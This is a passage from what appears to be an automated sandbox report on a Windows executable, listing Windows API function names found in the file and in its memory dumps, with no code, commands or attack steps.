"RegCreateKeyExA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00008168.00000000.68786.00E81000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00008168.00000000.68786.00E81000.00000020.mdmp") Found reference to API (Indicator: "DecryptFileA"; Source: "00000000-00008168.00000000.68786.00E81000.00000020.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")38:Ta21,Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "LockResource" (Indicator: "LockResource"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")39:Te1e,Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: 